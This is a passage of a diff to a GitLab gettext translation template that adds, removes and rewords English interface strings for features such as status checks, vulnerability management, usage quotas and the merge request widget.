msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -32392,6 +32986,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -32440,18 +33037,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr ""
-
-msgid "Show parent subgroups"
-msgstr ""
-
msgid "Show the Closed list"
msgstr ""
@@ -32824,6 +33412,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32908,9 +33502,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -33187,9 +33778,6 @@ msgstr ""
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -33208,6 +33796,33 @@ msgstr ""
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -33361,9 +33976,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr ""
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -33508,6 +34120,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -33529,7 +34144,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -33538,6 +34153,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -33559,6 +34177,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -33574,6 +34198,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -34567,10 +35194,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34837,7 +35464,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -34873,7 +35500,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -35083,9 +35713,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -35218,9 +35845,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -35275,6 +35899,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -35371,9 +35998,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -35386,9 +36010,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -35764,6 +36385,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -35782,12 +36406,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35836,6 +36454,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35890,12 +36514,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35905,6 +36532,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -36040,9 +36670,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -36085,6 +36712,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -36184,7 +36814,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -36736,6 +37366,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -36760,6 +37393,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36865,10 +37501,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -36889,9 +37525,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -36952,6 +37585,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -37126,7 +37762,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -37183,6 +37819,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -37381,9 +38023,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -37489,6 +38128,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -37573,9 +38215,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -37684,6 +38323,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -37726,6 +38368,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -37735,9 +38380,6 @@ msgstr ""
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -37750,9 +38392,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -37807,12 +38446,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -37822,9 +38455,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -37837,9 +38476,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -37873,18 +38509,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37930,9 +38554,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -38125,9 +38746,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -38431,9 +39049,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -38659,6 +39274,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -38683,6 +39310,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -38788,6 +39418,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38902,6 +39535,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38914,9 +39550,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -38932,6 +39565,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38941,7 +39577,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38953,6 +39592,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38977,9 +39619,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38992,10 +39640,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -39169,7 +39817,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -39475,6 +40123,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -39487,7 +40138,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -39664,6 +40315,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -39673,7 +40330,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -39787,6 +40444,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -40060,13 +40720,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
-msgstr ""
-
-msgid "You can only merge once the items above are resolved."
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -40102,6 +40759,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -40132,12 +40792,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -40189,6 +40855,15 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -40237,6 +40912,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -40372,9 +41050,6 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -40459,7 +41134,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -40525,6 +41200,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -40717,6 +41398,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -40735,15 +41419,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -40753,6 +41431,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -40822,9 +41503,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -40924,6 +41602,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40957,9 +41638,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -41134,6 +41812,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -41143,6 +41824,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -41170,6 +41854,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -41206,6 +41893,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -41596,21 +42286,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -41767,9 +42445,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -41803,13 +42478,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -41821,6 +42496,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -41839,9 +42517,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -41884,9 +42559,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -41923,6 +42595,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -41932,12 +42607,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41977,21 +42658,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -42004,6 +42700,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -42043,9 +42748,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -42076,9 +42778,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
